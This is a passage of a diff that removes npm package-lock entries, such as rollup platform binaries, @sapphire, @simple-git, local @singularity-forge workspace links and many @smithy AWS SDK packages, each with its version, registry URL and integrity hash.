"https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz", - "integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ] - }, - "node_modules/@rollup/rollup-openharmony-arm64": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz", - "integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ] - }, - "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz", - "integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz", - "integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-gnu": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz", - "integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz", - "integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@sapphire/async-queue": { - "version": "1.5.5", - "resolved": "https://registry.npmjs.org/@sapphire/async-queue/-/async-queue-1.5.5.tgz", - "integrity": "sha512-cvGzxbba6sav2zZkH8GPf2oGk9yYoD5qrNWdu9fRehifgnFZJMV+nuy2nON2roRO4yQQ+v7MK/Pktl/HgfsUXg==", - "license": "MIT", - "engines": { - "node": ">=v14.0.0", - "npm": ">=7.0.0" - } - }, - "node_modules/@sapphire/shapeshift": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@sapphire/shapeshift/-/shapeshift-4.0.0.tgz", - "integrity": "sha512-d9dUmWVA7MMiKobL3VpLF8P2aeanRTu6ypG2OIaEv/ZHH/SUQ2iHOVyi5wAPjQ+HmnMuL0whK9ez8I/raWbtIg==", - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.3", - "lodash": "^4.17.21" - }, - "engines": { - "node": ">=v16" - } - }, - "node_modules/@sapphire/snowflake": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/@sapphire/snowflake/-/snowflake-3.5.3.tgz", - "integrity": "sha512-jjmJywLAFoWeBi1W7994zZyiNWPIiqRRNAmSERxyg93xRGzNYvGjlZ0gR6x0F4gPRi2+0O6S71kOZYyr3cxaIQ==", - "license": "MIT", - "engines": { - "node": ">=v14.0.0", - "npm": ">=7.0.0" - } - }, - "node_modules/@sec-ant/readable-stream": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/@sec-ant/readable-stream/-/readable-stream-0.4.1.tgz", - "integrity": "sha512-831qok9r2t8AlxLko40y2ebgSDhenenCatLVeW/uBtnHPyhHOvG0C7TvfgecV+wHzIm5KUICgzmVpWS+IMEAeg==", - "license": "MIT" - }, - "node_modules/@selderee/plugin-htmlparser2": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/@selderee/plugin-htmlparser2/-/plugin-htmlparser2-0.11.0.tgz", - "integrity": "sha512-P33hHGdldxGabLFjPPpaTxVolMrzrcegejx+0GxjrIb9Zv48D8yAIA/QTDR2dFl7Uz7urX8aX6+5bCZslr+gWQ==", - "license": "MIT", - "dependencies": { - "domhandler": "^5.0.3", - "selderee": "^0.11.0" - }, - "funding": { - "url": "https://ko-fi.com/killymxi" - } - }, - "node_modules/@silvia-odwyer/photon-node": { - "version": "0.3.4", - "resolved": "https://registry.npmjs.org/@silvia-odwyer/photon-node/-/photon-node-0.3.4.tgz", - "integrity": "sha512-bnly4BKB3KDTFxrUIcgCLbaeVVS8lrAkri1pEzskpmxu9MdfGQTy8b8EgcD83ywD3RPMsIulY8xJH5Awa+t9fA==", - "license": "Apache-2.0" - }, - "node_modules/@simple-git/args-pathspec": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@simple-git/args-pathspec/-/args-pathspec-1.0.3.tgz", - "integrity": "sha512-ngJMaHlsWDTfjyq9F3VIQ8b7NXbBLq5j9i5bJ6XLYtD6qlDXT7fdKY2KscWWUF8t18xx052Y/PUO1K1TRc9yKA==", - "license": "MIT" - }, - "node_modules/@simple-git/argv-parser": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@simple-git/argv-parser/-/argv-parser-1.1.1.tgz", - "integrity": "sha512-Q9lBcfQ+VQCpQqGJFHe5yooOS5hGdLFFbJ5R+R5aDsnkPCahtn1hSkMcORX65J2Z5lxSkD0lQorMsncuBQxYUw==", - "license": "MIT", - "dependencies": { - "@simple-git/args-pathspec": "^1.0.3" - } - }, - "node_modules/@sinclair/typebox": { - "version": "0.34.49", - "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.49.tgz", - "integrity": "sha512-brySQQs7Jtn0joV8Xh9ZV/hZb9Ozb0pmazDIASBkYKCjXrXU3mpcFahmK/z4YDhGkQvP9mWJbVyahdtU5wQA+A==", - "license": "MIT" - }, - "node_modules/@sindresorhus/merge-streams": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@sindresorhus/merge-streams/-/merge-streams-4.0.0.tgz", - "integrity": "sha512-tlqY9xq5ukxTUZBmoOp+m61cqwQD5pHJtFY3Mn8CA8ps6yghLH/Hw8UPdqg4OLmFW3IFlcXnQNmo/dh8HzXYIQ==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/@singularity-forge/daemon": { - "resolved": "packages/daemon", - "link": true - }, - "node_modules/@singularity-forge/engine-darwin-arm64": { - "optional": true - }, - "node_modules/@singularity-forge/engine-darwin-x64": { - "optional": true - }, - "node_modules/@singularity-forge/engine-linux-arm64-gnu": { - "optional": true - }, - "node_modules/@singularity-forge/engine-linux-x64-gnu": { - "optional": true - }, - "node_modules/@singularity-forge/engine-win32-x64-msvc": { - "optional": true - }, - "node_modules/@singularity-forge/google-gemini-cli-provider": { - "resolved": "packages/google-gemini-cli-provider", - "link": true - }, - "node_modules/@singularity-forge/native": { - "resolved": "packages/native", - "link": true - }, - "node_modules/@singularity-forge/pi-agent-core": { - "resolved": "packages/pi-agent-core", - "link": true - }, - "node_modules/@singularity-forge/pi-ai": { - "resolved": "packages/pi-ai", - "link": true - }, - "node_modules/@singularity-forge/pi-coding-agent": { - "resolved": "packages/pi-coding-agent", - "link": true - }, - "node_modules/@singularity-forge/pi-tui": { - "resolved": "packages/pi-tui", - "link": true - }, - "node_modules/@singularity-forge/rpc-client": { - "resolved": "packages/rpc-client", - "link": true - }, - "node_modules/@smithy/config-resolver": { - "version": "4.4.17", - "resolved": "https://registry.npmjs.org/@smithy/config-resolver/-/config-resolver-4.4.17.tgz", - "integrity": "sha512-TzDZcAnhTyAHbXVxWZo7/tEcrIeFq20IBk8So3OLOetWpR8EwY/yEqBMBFaJMeyEiREDq4NfEl+qO3OAUD+vbQ==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/node-config-provider": "^4.3.14", - "@smithy/types": "^4.14.1", - "@smithy/util-config-provider": "^4.2.2", - "@smithy/util-endpoints": "^3.4.2", - "@smithy/util-middleware": "^4.2.14", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/core": { - "version": "3.24.0", - "resolved": "https://registry.npmjs.org/@smithy/core/-/core-3.24.0.tgz", - "integrity": "sha512-rZ5YfycIXX6puoGjthnDiMpUgtKNOq3c7CndQYkCNYQTv26AiCrZQOJPy7ANSfZ6Okk3UvCRnmO1OYWlLnYZgg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/crc32": "5.2.0", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/credential-provider-imds": { - "version": "4.2.14", - "resolved": "https://registry.npmjs.org/@smithy/credential-provider-imds/-/credential-provider-imds-4.2.14.tgz", - "integrity": "sha512-Au28zBN48ZAoXdooGUHemuVBrkE+Ie6RPmGNIAJsFqj33Vhb6xAgRifUydZ2aY+M+KaMAETAlKk5NC5h1G7wpg==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/node-config-provider": "^4.3.14", - "@smithy/property-provider": "^4.2.14", - "@smithy/types": "^4.14.1", - "@smithy/url-parser": "^4.2.14", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/eventstream-codec": { - "version": "4.2.14", - "resolved": "https://registry.npmjs.org/@smithy/eventstream-codec/-/eventstream-codec-4.2.14.tgz", - "integrity": "sha512-erZq0nOIpzfeZdCyzZjdJb4nVSKLUmSkaQUVkRGQTXs30gyUGeKnrYEg+Xe1W5gE3aReS7IgsvANwVPxSzY6Pw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/crc32": "5.2.0", - "@smithy/types": "^4.14.1", - "@smithy/util-hex-encoding": "^4.2.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/eventstream-serde-browser": { - "version": "4.2.14", - "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-browser/-/eventstream-serde-browser-4.2.14.tgz", - "integrity": "sha512-8IelTCtTctWRbb+0Dcy+C0aICh1qa0qWXqgjcXDmMuCvPJRnv26hiDZoAau2ILOniki65mCPKqOQs/BaWvO4CQ==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/eventstream-serde-universal": "^4.2.14", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/eventstream-serde-config-resolver": { - "version": "4.3.14", - "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-config-resolver/-/eventstream-serde-config-resolver-4.3.14.tgz", - "integrity": "sha512-sqHiHpYRYo3FJlaIxD1J8PhbcmJAm7IuM16mVnwSkCToD7g00IBZzKuiLNMGmftULmEUX6/UAz8/NN5uMP8bVA==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/eventstream-serde-node": { - "version": "4.2.14", - "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-node/-/eventstream-serde-node-4.2.14.tgz", - "integrity": "sha512-Ht/8BuGlKfFTy0H3+8eEu0vdpwGztCnaLLXtpXNdQqiR7Hj4vFScU3T436vRAjATglOIPjJXronY+1WxxNLSiw==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/eventstream-serde-universal": "^4.2.14", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/eventstream-serde-universal": { - "version": "4.2.14", - "resolved": "https://registry.npmjs.org/@smithy/eventstream-serde-universal/-/eventstream-serde-universal-4.2.14.tgz", - "integrity": "sha512-lWyt4T2XQZUZgK3tQ3Wn0w3XBvZsK/vjTuJl6bXbnGZBHH0ZUSONTYiK9TgjTTzU54xQr3DRFwpjmhp0oLm3gg==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/eventstream-codec": "^4.2.14", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/fetch-http-handler": { - "version": "5.3.17", - "resolved": "https://registry.npmjs.org/@smithy/fetch-http-handler/-/fetch-http-handler-5.3.17.tgz", - "integrity": "sha512-bXOvQzaSm6MnmLaWA1elgfQcAtN4UP3vXqV97bHuoOrHQOJiLT3ds6o9eo5bqd0TJfRFpzdGnDQdW3FACiAVdw==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/protocol-http": "^5.3.14", - "@smithy/querystring-builder": "^4.2.14", - "@smithy/types": "^4.14.1", - "@smithy/util-base64": "^4.3.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/hash-node": { - "version": "4.2.14", - "resolved": "https://registry.npmjs.org/@smithy/hash-node/-/hash-node-4.2.14.tgz", - "integrity": "sha512-8ZBDY2DD4wr+GGjTpPtiglEsqr0lUP+KHqgZcWczFf6qeZ/YRjMIOoQWVQlmwu7EtxKTd8YXD8lblmYcpBIA1g==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.14.1", - "@smithy/util-buffer-from": "^4.2.2", - "@smithy/util-utf8": "^4.2.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/invalid-dependency": { - "version": "4.2.14", - "resolved": "https://registry.npmjs.org/@smithy/invalid-dependency/-/invalid-dependency-4.2.14.tgz", - "integrity": "sha512-c21qJiTSb25xvvOp+H2TNZzPCngrvl5vIPqPB8zQ/DmJF4QWXO19x1dWfMJZ6wZuuWUPPm0gV8C0cU3+ifcWuw==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/is-array-buffer": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-4.2.2.tgz", - "integrity": "sha512-n6rQ4N8Jj4YTQO3YFrlgZuwKodf4zUFs7EJIWH86pSCWBaAtAGBFfCM7Wx6D2bBJ2xqFNxGBSrUWswT3M0VJow==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/middleware-content-length": { - "version": "4.2.14", - "resolved": "https://registry.npmjs.org/@smithy/middleware-content-length/-/middleware-content-length-4.2.14.tgz", - "integrity": "sha512-xhHq7fX4/3lv5NHxLUk3OeEvl0xZ+Ek3qIbWaCL4f9JwgDZEclPBElljaZCAItdGPQl/kSM4LPMOpy1MYgprpw==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/protocol-http": "^5.3.14", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/middleware-endpoint": { - "version": "4.4.32", - "resolved": "https://registry.npmjs.org/@smithy/middleware-endpoint/-/middleware-endpoint-4.4.32.tgz", - "integrity": "sha512-ZZkgyjnJppiZbIm6Qbx92pbXYi1uzenIvGhBSCDlc7NwuAkiqSgS75j1czAD25ZLs2FjMjYy1q7gyRVWG6JA0Q==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.23.17", - "@smithy/middleware-serde": "^4.2.20", - "@smithy/node-config-provider": "^4.3.14", - "@smithy/shared-ini-file-loader": "^4.4.9", - "@smithy/types": "^4.14.1", - "@smithy/url-parser": "^4.2.14", - "@smithy/util-middleware": "^4.2.14", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/middleware-retry": { - "version": "4.5.7", - "resolved": "https://registry.npmjs.org/@smithy/middleware-retry/-/middleware-retry-4.5.7.tgz", - "integrity": "sha512-bRt6ZImqVSeTk39Nm81K20ObIiAZ3WefY7G6+iz/0tZjs4dgRRjvRX2sgsH+zi6iDCRR/aQvQofLKxxz4rPBZg==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.23.17", - "@smithy/node-config-provider": "^4.3.14", - "@smithy/protocol-http": "^5.3.14", - "@smithy/service-error-classification": "^4.3.1", - "@smithy/smithy-client": "^4.12.13", - "@smithy/types": "^4.14.1", - "@smithy/util-middleware": "^4.2.14", - "@smithy/util-retry": "^4.3.6", - "@smithy/uuid": "^1.1.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/middleware-serde": { - "version": "4.2.20", - "resolved": "https://registry.npmjs.org/@smithy/middleware-serde/-/middleware-serde-4.2.20.tgz", - "integrity": "sha512-Lx9JMO9vArPtiChE3wbEZ5akMIDQpWQtlu90lhACQmNOXcGXRbaDywMHDzuDZ2OkZzP+9wQfZi3YJT9F67zTQQ==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.23.17", - "@smithy/protocol-http": "^5.3.14", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/middleware-stack": { - "version": "4.2.14", - "resolved": "https://registry.npmjs.org/@smithy/middleware-stack/-/middleware-stack-4.2.14.tgz", - "integrity": "sha512-2dvkUKLuFdKsCRmOE4Mn63co0Djtsm+JMh0bYZQupN1pJwMeE8FmQmRLLzzEMN0dnNi7CDCYYH8F0EVwWiPBeA==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/node-config-provider": { - "version": "4.3.14", - "resolved": "https://registry.npmjs.org/@smithy/node-config-provider/-/node-config-provider-4.3.14.tgz", - "integrity": "sha512-S+gFjyo/weSVL0P1b9Ts8C/CwIfNCgUPikk3sl6QVsfE/uUuO+QsF+NsE/JkpvWqqyz1wg7HFdiaZuj5CoBMRg==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/property-provider": "^4.2.14", - "@smithy/shared-ini-file-loader": "^4.4.9", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/node-http-handler": { - "version": "4.7.0", - "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.7.0.tgz", - "integrity": "sha512-PxF57Jr3dPm+RgZWekOL+o96FPdaT62xZUyDfi47uMRFi5rHpwO/ewFbrztrASQ/7H8moNi1sspIHihHpfoKsQ==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.24.0", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/property-provider": { - "version": "4.2.14", - "resolved": "https://registry.npmjs.org/@smithy/property-provider/-/property-provider-4.2.14.tgz", - "integrity": "sha512-WuM31CgfsnQ/10i7NYr0PyxqknD72Y5uMfUMVSniPjbEPceiTErb4eIqJQ+pdxNEAUEWrewrGjIRjVbVHsxZiQ==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/protocol-http": { - "version": "5.3.14", - "resolved": "https://registry.npmjs.org/@smithy/protocol-http/-/protocol-http-5.3.14.tgz", - "integrity": "sha512-dN5F8kHx8RNU0r+pCwNmFZyz6ChjMkzShy/zup6MtkRmmix4vZzJdW+di7x//b1LiynIev88FM18ie+wwPcQtQ==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/querystring-builder": { - "version": "4.2.14", - "resolved": "https://registry.npmjs.org/@smithy/querystring-builder/-/querystring-builder-4.2.14.tgz", - "integrity": "sha512-XYA5Z0IqTeF+5XDdh4BBmSA0HvbgVZIyv4cmOoUheDNR57K1HgBp9ukUMx3Cr3XpDHHpLBnexPE3LAtDsZkj2A==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.14.1", - "@smithy/util-uri-escape": "^4.2.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/querystring-parser": { - "version": "4.2.14", - "resolved": "https://registry.npmjs.org/@smithy/querystring-parser/-/querystring-parser-4.2.14.tgz", - "integrity": "sha512-hr+YyqBD23GVvRxGGrcc/oOeNlK3PzT5Fu4dzrDXxzS1LpFiuL2PQQqKPs87M79aW7ziMs+nvB3qdw77SqE7Lw==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/service-error-classification": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/@smithy/service-error-classification/-/service-error-classification-4.3.1.tgz", - "integrity": "sha512-aUQuDGh760ts/8MU+APjIZhlLPKhIIfqyzZaJikLEIMrdxFvxuLYD0WxWzaYWpmLbQlXDe9p7EWM3HsBe0K6Gw==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.14.1" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/shared-ini-file-loader": { - "version": "4.4.9", - "resolved": "https://registry.npmjs.org/@smithy/shared-ini-file-loader/-/shared-ini-file-loader-4.4.9.tgz", - "integrity": "sha512-495/V2I15SHgedSJoDPD23JuSfKAp726ZI1V0wtjB07Wh7q/0tri/0e0DLefZCHgxZonrGKt/OCTpAtP1wE1kQ==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/signature-v4": { - "version": "5.3.14", - "resolved": "https://registry.npmjs.org/@smithy/signature-v4/-/signature-v4-5.3.14.tgz", - "integrity": "sha512-1D9Y/nmlVjCeSivCbhZ7hgEpmHyY1h0GvpSZt3l0xcD9JjmjVC1CHOozS6+Gh+/ldMH8JuJ6cujObQqfayAVFA==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/is-array-buffer": "^4.2.2", - "@smithy/protocol-http": "^5.3.14", - "@smithy/types": "^4.14.1", - "@smithy/util-hex-encoding": "^4.2.2", - "@smithy/util-middleware": "^4.2.14", - "@smithy/util-uri-escape": "^4.2.2", - "@smithy/util-utf8": "^4.2.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/smithy-client": { - "version": "4.12.13", - "resolved": "https://registry.npmjs.org/@smithy/smithy-client/-/smithy-client-4.12.13.tgz", - "integrity": "sha512-y/Pcj1V9+qG98gyu1gvftHB7rDpdh+7kIBIggs55yGm3JdtBV8GT8IFF3a1qxZ79QnaJHX9GXzvBG6tAd+czJA==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/core": "^3.23.17", - "@smithy/middleware-endpoint": "^4.4.32", - "@smithy/middleware-stack": "^4.2.14", - "@smithy/protocol-http": "^5.3.14", - "@smithy/types": "^4.14.1", - "@smithy/util-stream": "^4.5.25", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/types": { - "version": "4.14.1", - "resolved": "https://registry.npmjs.org/@smithy/types/-/types-4.14.1.tgz", - "integrity": "sha512-59b5HtSVrVR/eYNei3BUj3DCPKD/G7EtDDe7OEJE7i7FtQFugYo6MxbotS8mVJkLNVf8gYaAlEBwwtJ9HzhWSg==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/url-parser": { - "version": "4.2.14", - "resolved": "https://registry.npmjs.org/@smithy/url-parser/-/url-parser-4.2.14.tgz", - "integrity": "sha512-p06BiBigJ8bTA3MgnOfCtDUWnAMY0YfedO/GRpmc7p+wg3KW8vbXy1xwSu5ASy0wV7rRYtlfZOIKH4XqfhjSQQ==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/querystring-parser": "^4.2.14", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-base64": { - "version": "4.3.2", - "resolved": "https://registry.npmjs.org/@smithy/util-base64/-/util-base64-4.3.2.tgz", - "integrity": "sha512-XRH6b0H/5A3SgblmMa5ErXQ2XKhfbQB+Fm/oyLZ2O2kCUrwgg55bU0RekmzAhuwOjA9qdN5VU2BprOvGGUkOOQ==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/util-buffer-from": "^4.2.2", - "@smithy/util-utf8": "^4.2.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-body-length-browser": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/@smithy/util-body-length-browser/-/util-body-length-browser-4.2.2.tgz", - "integrity": "sha512-JKCrLNOup3OOgmzeaKQwi4ZCTWlYR5H4Gm1r2uTMVBXoemo1UEghk5vtMi1xSu2ymgKVGW631e2fp9/R610ZjQ==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-body-length-node": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/@smithy/util-body-length-node/-/util-body-length-node-4.2.3.tgz", - "integrity": "sha512-ZkJGvqBzMHVHE7r/hcuCxlTY8pQr1kMtdsVPs7ex4mMU+EAbcXppfo5NmyxMYi2XU49eqaz56j2gsk4dHHPG/g==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-buffer-from": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-4.2.2.tgz", - "integrity": "sha512-FDXD7cvUoFWwN6vtQfEta540Y/YBe5JneK3SoZg9bThSoOAC/eGeYEua6RkBgKjGa/sz6Y+DuBZj3+YEY21y4Q==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/is-array-buffer": "^4.2.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-config-provider": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/@smithy/util-config-provider/-/util-config-provider-4.2.2.tgz", - "integrity": "sha512-dWU03V3XUprJwaUIFVv4iOnS1FC9HnMHDfUrlNDSh4315v0cWyaIErP8KiqGVbf5z+JupoVpNM7ZB3jFiTejvQ==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-defaults-mode-browser": { - "version": "4.3.49", - "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.3.49.tgz", - "integrity": "sha512-a5bNrdiONYB/qE2BuKegvUMd/+ZDwdg4vsNuuSzYE8qs2EYAdK9CynL+Rzn29PbPiUqoz/cbpRbcLzD5lEevHw==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/property-provider": "^4.2.14", - "@smithy/smithy-client": "^4.12.13", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-defaults-mode-node": { - "version": "4.2.54", - "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.2.54.tgz", - "integrity": "sha512-g1cvrJvOnzeJgEdf7AE4luI7gp6L8weE0y9a9wQUSGtjb8QRHDbCJYuE4Sy0SD9N8RrnNPFsPltAz/OSoBR9Zw==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/config-resolver": "^4.4.17", - "@smithy/credential-provider-imds": "^4.2.14", - "@smithy/node-config-provider": "^4.3.14", - "@smithy/property-provider": "^4.2.14", - "@smithy/smithy-client": "^4.12.13", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-endpoints": { - "version": "3.4.2", - "resolved": "https://registry.npmjs.org/@smithy/util-endpoints/-/util-endpoints-3.4.2.tgz", - "integrity": "sha512-a55Tr+3OKld4TTtnT+RhKOQHyPxm3j/xL4OR83WBUhLJaKDS9dnJ7arRMOp3t31dcLhApwG9bgvrRXBHlLdIkg==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/node-config-provider": "^4.3.14", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@smithy/util-hex-encoding": { - "version": "4.2.2", - "resolved": 